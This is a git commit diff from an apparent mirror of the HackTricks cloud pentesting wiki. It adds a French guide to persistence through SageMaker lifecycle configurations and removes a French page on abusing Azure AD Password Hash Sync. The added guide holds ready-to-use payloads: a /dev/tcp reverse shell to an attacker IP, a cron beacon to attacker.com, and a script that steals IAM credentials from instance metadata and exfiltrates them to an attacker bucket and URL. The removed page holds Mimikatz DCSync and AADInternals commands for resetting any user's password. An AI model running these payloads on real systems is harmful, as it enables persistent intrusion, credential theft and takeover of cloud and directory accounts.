mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -443,10 +443,12 @@
|
|||||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||||
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
||||||
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
|
||||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
|
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
|
||||||
- [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
|
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||||
|
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||||
|
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
||||||
|
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
|
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
|
||||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||||
|
|||||||
BIN
src/images/discount.jpeg
Normal file
BIN
src/images/discount.jpeg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 186 KiB |
@@ -0,0 +1,156 @@
|
|||||||
|
# AWS - SageMaker Lifecycle Configuration Persistence
|
||||||
|
|
||||||
|
## Vue d'ensemble des techniques de persistance
|
||||||
|
|
||||||
|
Cette section décrit les méthodes pour obtenir une persistance dans SageMaker en abusant des configurations de cycle de vie (LCC), y compris les shells inversés, les tâches cron, le vol de credentials via IMDS et les portes dérobées SSH. Ces scripts s'exécutent avec le rôle IAM de l'instance et peuvent persister à travers les redémarrages. La plupart des techniques nécessitent un accès réseau sortant, mais l'utilisation de services sur le plan de contrôle AWS peut toujours permettre le succès si l'environnement est en mode "VPC uniquement".
|
||||||
|
#### Remarque : Les instances de notebook SageMaker sont essentiellement des instances EC2 gérées configurées spécifiquement pour les charges de travail d'apprentissage automatique.
|
||||||
|
|
||||||
|
## Permissions requises
|
||||||
|
* Instances de notebook :
|
||||||
|
```
|
||||||
|
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||||
|
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||||
|
sagemaker:CreateNotebookInstance
|
||||||
|
sagemaker:UpdateNotebookInstance
|
||||||
|
```
|
||||||
|
* Applications de Studio :
|
||||||
|
```
|
||||||
|
sagemaker:CreateStudioLifecycleConfig
|
||||||
|
sagemaker:UpdateStudioLifecycleConfig
|
||||||
|
sagemaker:UpdateUserProfile
|
||||||
|
sagemaker:UpdateSpace
|
||||||
|
sagemaker:UpdateDomain
|
||||||
|
```
|
||||||
|
## Configurer la configuration du cycle de vie sur les instances de notebook
|
||||||
|
|
||||||
|
### Exemples de commandes AWS CLI :
|
||||||
|
```bash
|
||||||
|
# Create Lifecycle Configuration*
|
||||||
|
|
||||||
|
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||||
|
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||||
|
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||||
|
|
||||||
|
|
||||||
|
# Attach Lifecycle Configuration to Notebook Instance*
|
||||||
|
|
||||||
|
aws sagemaker update-notebook-instance \
|
||||||
|
--notebook-instance-name victim-instance \
|
||||||
|
--lifecycle-config-name attacker-lcc
|
||||||
|
```
|
||||||
|
## Configurer la configuration du cycle de vie sur SageMaker Studio
|
||||||
|
|
||||||
|
Les configurations de cycle de vie peuvent être attachées à différents niveaux et à différents types d'applications au sein de SageMaker Studio.
|
||||||
|
|
||||||
|
### Niveau de domaine Studio (Tous les utilisateurs)
|
||||||
|
```bash
|
||||||
|
# Create Studio Lifecycle Configuration*
|
||||||
|
|
||||||
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
|
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||||
|
--studio-lifecycle-config-app-type JupyterServer \
|
||||||
|
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||||
|
|
||||||
|
|
||||||
|
# Apply LCC to entire Studio Domain*
|
||||||
|
|
||||||
|
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||||
|
"JupyterServerAppSettings": {
|
||||||
|
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
### Niveau de l'Espace Studio (Espaces Individuels ou Partagés)
|
||||||
|
```bash
|
||||||
|
# Update SageMaker Studio Space to attach LCC*
|
||||||
|
|
||||||
|
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||||
|
"JupyterServerAppSettings": {
|
||||||
|
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
## Types of Studio Application Lifecycle Configurations
|
||||||
|
|
||||||
|
Les configurations de cycle de vie peuvent être spécifiquement appliquées à différents types d'applications SageMaker Studio :
|
||||||
|
* JupyterServer : Exécute des scripts lors du démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme des shells inversés et des tâches cron.
|
||||||
|
* KernelGateway : S'exécute lors du lancement de l'application kernel gateway, utile pour la configuration initiale ou l'accès persistant.
|
||||||
|
* CodeEditor : S'applique à l'éditeur de code (Code-OSS), permettant des scripts qui s'exécutent au début des sessions d'édition de code.
|
||||||
|
|
||||||
|
### Example Command for Each Type:
|
||||||
|
|
||||||
|
### JupyterServer
|
||||||
|
```bash
|
||||||
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
|
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||||
|
--studio-lifecycle-config-app-type JupyterServer \
|
||||||
|
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||||
|
```
|
||||||
|
### KernelGateway
|
||||||
|
```bash
|
||||||
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
|
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||||
|
--studio-lifecycle-config-app-type KernelGateway \
|
||||||
|
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||||
|
```
|
||||||
|
### CodeEditor
|
||||||
|
```bash
|
||||||
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
|
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||||
|
--studio-lifecycle-config-app-type CodeEditor \
|
||||||
|
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||||
|
```
|
||||||
|
### Informations critiques :
|
||||||
|
* Attacher des LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre.
|
||||||
|
* Nécessite des permissions plus élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) généralement plus réalisables au niveau de l'espace qu'au niveau du domaine.
|
||||||
|
* Les contrôles au niveau du réseau (par exemple, filtrage sortant strict) peuvent empêcher des shells inversés réussis ou l'exfiltration de données.
|
||||||
|
|
||||||
|
## Shell inversé via Configuration de Cycle de Vie
|
||||||
|
|
||||||
|
Les Configurations de Cycle de Vie SageMaker (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant avec des permissions peut établir un shell inversé persistant.
|
||||||
|
|
||||||
|
### Exemple de Payload :
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
ATTACKER_IP="<ATTACKER_IP>"
|
||||||
|
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||||
|
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||||
|
```
|
||||||
|
## Persistance par Cron Job via Configuration de Cycle de Vie
|
||||||
|
|
||||||
|
Un attaquant peut injecter des cron jobs à travers des scripts LCC, garantissant l'exécution périodique de scripts ou de commandes malveillants, permettant une persistance discrète.
|
||||||
|
|
||||||
|
### Exemple de Charge Utile :
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||||
|
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||||
|
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||||
|
|
||||||
|
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||||
|
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||||
|
chmod +x $PAYLOAD_PATH
|
||||||
|
|
||||||
|
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||||
|
```
|
||||||
|
## Exfiltration de crédentiels via IMDS (v1 & v2)
|
||||||
|
|
||||||
|
Les configurations de cycle de vie peuvent interroger le Service de Métadonnées d'Instance (IMDS) pour récupérer des crédentiels IAM et les exfiltrer vers un emplacement contrôlé par un attaquant.
|
||||||
|
|
||||||
|
### Exemple de Payload :
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||||
|
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||||
|
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||||
|
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||||
|
|
||||||
|
# Exfiltrate via S3*
|
||||||
|
|
||||||
|
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||||
|
|
||||||
|
# Alternatively, exfiltrate via HTTP POST*
|
||||||
|
|
||||||
|
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||||
|
```
|
||||||
|
|
||||||
@@ -1,114 +0,0 @@
|
|||||||
# Az - PHS - Synchronisation des Hashs de Mot de Passe
|
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
## Informations de Base
|
|
||||||
|
|
||||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hash de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hash, du hash, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
|
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
C'est la **méthode la plus courante** utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.
|
|
||||||
|
|
||||||
Tous les **utilisateurs** et un **hash des hash de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hashes** **originaux** ne sont pas envoyés à Azure AD.\
|
|
||||||
De plus, les groupes de sécurité **intégrés** (comme les administrateurs de domaine...) ne sont **pas synchronisés** avec Azure AD.
|
|
||||||
|
|
||||||
La **synchronisation des hash** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
|
|
||||||
|
|
||||||
Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'**authentification a lieu sur Azure AD**.
|
|
||||||
|
|
||||||
**PHS** est requis pour des fonctionnalités telles que **Identity Protection** et les services de domaine AAD.
|
|
||||||
|
|
||||||
## Pivotement
|
|
||||||
|
|
||||||
Lorsque PHS est configuré, certains **comptes privilégiés** sont automatiquement **créés** :
|
|
||||||
|
|
||||||
- Le compte **`MSOL_<installationID>`** est automatiquement créé dans l'AD sur site. Ce compte se voit attribuer un rôle de **Comptes de Synchronisation de Répertoire** (voir [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ce qui signifie qu'il a des **permissions de réplication (DCSync) dans l'AD sur site**.
|
|
||||||
- Un compte **`Sync_<nom du serveur ADConnect sur site>_installationID`** est créé dans Azure AD. Ce compte peut **réinitialiser le mot de passe de n'importe quel utilisateur** (synchronisé ou uniquement cloud) dans Azure AD.
|
|
||||||
|
|
||||||
Les mots de passe des deux comptes privilégiés précédents sont **stockés dans un serveur SQL** sur le serveur où **Azure AD Connect est installé.** Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en clair.\
|
|
||||||
La base de données est située dans `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
|
||||||
|
|
||||||
Il est possible d'extraire la configuration d'une des tables, étant l'une d'elles chiffrée :
|
|
||||||
|
|
||||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
|
||||||
|
|
||||||
La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'élever les privilèges vers l'AD et vers AzureAD.
|
|
||||||
|
|
||||||
Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
|
||||||
|
|
||||||
### Trouver le **serveur Azure AD connect**
|
|
||||||
|
|
||||||
Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :
|
|
||||||
```bash
|
|
||||||
# ActiveDirectory module
|
|
||||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
|
||||||
|
|
||||||
#Azure AD module
|
|
||||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
|
||||||
```
|
|
||||||
### Abusing MSOL\_*
|
|
||||||
```bash
|
|
||||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
|
||||||
Get-AADIntSyncCredentials
|
|
||||||
|
|
||||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
|
||||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
|
||||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
|
||||||
```
|
|
||||||
> [!CAUTION]
|
|
||||||
> Vous pouvez également utiliser [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) pour obtenir ces identifiants.
|
|
||||||
|
|
||||||
### Abus de Sync\_\*
|
|
||||||
|
|
||||||
En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de n'importe quel utilisateur (y compris les Administrateurs Globaux)
|
|
||||||
```bash
|
|
||||||
# This command, run previously, will give us alse the creds of this account
|
|
||||||
Get-AADIntSyncCredentials
|
|
||||||
|
|
||||||
# Get access token for Sync_* account
|
|
||||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
|
||||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
|
||||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
|
||||||
|
|
||||||
# Get global admins
|
|
||||||
Get-AADIntGlobalAdmins
|
|
||||||
|
|
||||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
|
||||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
|
||||||
|
|
||||||
# Reset the users password
|
|
||||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
|
||||||
|
|
||||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
|
||||||
```
|
|
||||||
Il est également possible de **modifier les mots de passe des utilisateurs uniquement cloud** (même si cela est inattendu)
|
|
||||||
```bash
|
|
||||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
|
||||||
# The CloudAnchor is of the format USER_ObjectID.
|
|
||||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
|
||||||
|
|
||||||
# Reset password
|
|
||||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
|
||||||
```
|
|
||||||
Il est également possible d'extraire le mot de passe de cet utilisateur.
|
|
||||||
|
|
||||||
> [!CAUTION]
|
|
||||||
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, que l'utilisateur **Sync** a **les autorisations** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
|
|
||||||
|
|
||||||
### Seamless SSO
|
|
||||||
|
|
||||||
Il est possible d'utiliser Seamless SSO avec PHS, qui est vulnérable à d'autres abus. Vérifiez-le dans :
|
|
||||||
|
|
||||||
{{#ref}}
|
|
||||||
seamless-sso.md
|
|
||||||
{{#endref}}
|
|
||||||
|
|
||||||
## Références
|
|
||||||
|
|
||||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
|
||||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
|
||||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
|
||||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
|
||||||
101
theme/ai.js
101
theme/ai.js
@@ -1,3 +1,104 @@
|
|||||||
|
/**
|
||||||
|
* HackTricks Training Discounts
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
(() => {
|
||||||
|
const KEY = 'htSummerDiscountsDismissed';
|
||||||
|
const IMG = '/images/discount.jpeg';
|
||||||
|
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||||
|
const URL = 'https://training.hacktricks.xyz';
|
||||||
|
|
||||||
|
/* Stop if user already dismissed */
|
||||||
|
if (localStorage.getItem(KEY) === 'true') return;
|
||||||
|
|
||||||
|
/* Quick helper */
|
||||||
|
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||||
|
|
||||||
|
/* --- Overlay (blur + dim) --- */
|
||||||
|
const overlay = $('div', `
|
||||||
|
position: fixed; inset: 0;
|
||||||
|
background: rgba(0,0,0,.4);
|
||||||
|
backdrop-filter: blur(6px);
|
||||||
|
display: flex; justify-content: center; align-items: center;
|
||||||
|
z-index: 10000;
|
||||||
|
`);
|
||||||
|
|
||||||
|
/* --- Modal --- */
|
||||||
|
const modal = $('div', `
|
||||||
|
max-width: 90vw; width: 480px;
|
||||||
|
background: #fff; border-radius: 12px; overflow: hidden;
|
||||||
|
box-shadow: 0 8px 24px rgba(0,0,0,.35);
|
||||||
|
font-family: system-ui, sans-serif;
|
||||||
|
display: flex; flex-direction: column; align-items: stretch;
|
||||||
|
`);
|
||||||
|
|
||||||
|
/* --- Title bar (link + close) --- */
|
||||||
|
const titleBar = $('div', `
|
||||||
|
position: relative;
|
||||||
|
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||||
|
text-align: center;
|
||||||
|
background: #222; color: #fff;
|
||||||
|
font-size: 1.3rem; font-weight: 700;
|
||||||
|
`);
|
||||||
|
|
||||||
|
const link = $('a', `
|
||||||
|
color: inherit;
|
||||||
|
text-decoration: none;
|
||||||
|
display: block;
|
||||||
|
`);
|
||||||
|
link.href = URL;
|
||||||
|
link.target = '_blank';
|
||||||
|
link.rel = 'noopener noreferrer';
|
||||||
|
link.textContent = TXT;
|
||||||
|
titleBar.appendChild(link);
|
||||||
|
|
||||||
|
/* Close "X" (no persistence) */
|
||||||
|
const closeBtn = $('button', `
|
||||||
|
position: absolute; top: .25rem; right: .5rem;
|
||||||
|
background: transparent; border: none;
|
||||||
|
color: #fff; font-size: 1.4rem; line-height: 1;
|
||||||
|
cursor: pointer; padding: 0; margin: 0;
|
||||||
|
`);
|
||||||
|
closeBtn.setAttribute('aria-label', 'Close');
|
||||||
|
closeBtn.textContent = '✕';
|
||||||
|
closeBtn.onclick = () => overlay.remove();
|
||||||
|
titleBar.appendChild(closeBtn);
|
||||||
|
|
||||||
|
/* --- Image --- */
|
||||||
|
const img = $('img');
|
||||||
|
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||||
|
|
||||||
|
/* --- Checkbox row --- */
|
||||||
|
const label = $('label', `
|
||||||
|
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||||
|
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||||
|
`);
|
||||||
|
const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
|
||||||
|
cb.onchange = () => {
|
||||||
|
if (cb.checked) {
|
||||||
|
localStorage.setItem(KEY, 'true');
|
||||||
|
overlay.remove();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
label.append(cb, document.createTextNode("Don't show again"));
|
||||||
|
|
||||||
|
/* --- Assemble & inject --- */
|
||||||
|
modal.append(titleBar, img, label);
|
||||||
|
overlay.appendChild(modal);
|
||||||
|
|
||||||
|
if (document.readyState === 'loading') {
|
||||||
|
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
|
||||||
|
} else {
|
||||||
|
document.body.appendChild(overlay);
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
||||||
* ---------------------------------------------------
|
* ---------------------------------------------------
|
||||||
|
|||||||
Reference in New Issue
Block a user